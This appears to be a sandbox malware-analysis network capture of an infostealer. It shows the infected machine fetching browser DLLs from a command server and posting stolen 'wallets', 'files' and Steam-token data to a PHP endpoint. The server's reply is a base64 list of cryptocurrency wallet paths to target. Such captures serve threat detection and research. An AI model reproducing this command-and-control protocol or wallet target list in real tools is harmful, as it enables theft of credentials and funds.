5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 20, 2024 22:52:35.197875977 CET	90	OUT	GET /55a20037509cc641/nss3.dll HTTP/1.1 Host: 185.219.81.132 Cache-Control: no-cache
Dec 20, 2024 22:52:35.589544058 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 20, 2024 22:52:38.664048910 CET	94	OUT	GET /55a20037509cc641/softokn3.dll HTTP/1.1 Host: 185.219.81.132 Cache-Control: no-cache
Dec 20, 2024 22:52:39.065918922 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 20, 2024 22:52:39.552263021 CET	98	OUT	GET /55a20037509cc641/vcruntime140.dll HTTP/1.1 Host: 185.219.81.132 Cache-Control: no-cache
Dec 20, 2024 22:52:39.942708969 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 20, 2024 22:52:40.622112989 CET	201	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJEC Host: 185.219.81.132 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 22:52:41.489542007 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 22:52:41.616889954 CET	468	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJEC Host: 185.219.81.132 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="message"wallets------CAKKEGDGCGDAKEBFIJEC--
Dec 20, 2024 22:52:42.036264896 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:41 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 20, 2024 22:52:42.038680077 CET	466	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCA Host: 185.219.81.132 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="message"files------BAFIEGIECGCBKFIEBGCA--
Dec 20, 2024 22:52:42.436141014 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 22:52:42.538630962 CET	564	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECB Host: 185.219.81.132 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="file"------HDBGHDHCGHCAAKEBKECB--
Dec 20, 2024 22:52:43.131455898 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 22:52:43.200880051 CET	204	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKKFBAEGDHJJJJKFBKF Host: 185.219.81.132 Content-Length: 130387 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 22:52:44.523381948 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 22:52:44.592566013 CET	473	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKKECBKKECGCAAAEHJK Host: 185.219.81.132 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="message"ybncbhylepme------AKKKECBKKECGCAAAEHJK--
Dec 20, 2024 22:52:44.985439062 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 22:52:44.986510038 CET	473	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGC Host: 185.219.81.132 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 2d 2d 0d 0a Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DBGIJEHIIDGCFHIEGDGC--
Dec 20, 2024 22:52:46.804250956 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49708	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-20 21:52:04 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 7a 72 4d 56 69 4d 63 50 69 55 43 52 4a 4f 62 49 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 34 34 33 65 65 39 66 33 35 62 61 61 34 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: zrMViMcPiUCRJObI.1Context: 75443ee9f35baa4e
2024-12-20 21:52:04 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-20 21:52:04 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 7a 72 4d 56 69 4d 63 50 69 55 43 52 4a 4f 62 49 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 34 34 33 65 65 39 66 33 35 62 61 61 34 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 75 34 2b 72 62 65 4f 36 32 67 56 41 64 43 47 6d 4a 57 6e 32 69 55 56 77 74 78 48 46 79 55 54 6b 58 59 76 67 47 4c 2f 66 68 44 4b 69 76 79 64 54 36 50 31 57 6b 73 33 64 53 47 69 69 66 46 63 2b 6e 7a 67 65 4a 64 36 7a 43 6d 2f 53 30 69 73 51 65 52 2b 6e 5a 36 70 55 75 76 2b 4e 61 37 78 63 38 6f 41 54 6d 31 39 70 61 50 6f 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: zrMViMcPiUCRJObI.2Context: 75443ee9f35baa4e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWu4+rbeO62gVAdCGmJWn2iUVwtxHFyUTkXYvgGL/fhDKivydT6P1Wks3dSGiifFc+nzgeJd6zCm/S0isQeR+nZ6pUuv+Na7xc8oATm19paPo4
2024-12-20 21:52:04 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 7a 72 4d 56 69 4d 63 50 69 55 43 52 4a 4f 62 49 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 34 34 33 65 65 39 66 33 35 62 61 61 34 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: zrMViMcPiUCRJObI.3Context: 75443ee9f35baa4e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-20 21:52:04 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-20 21:52:04 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 56 78 61 74 35 48 49 6d 30 75 31 49 30 45 49 56 4a 46 41 39 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /Vxat5HIm0u1I0EIVJFA9Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	142.250.181.132	443	2544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 21:52:09 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
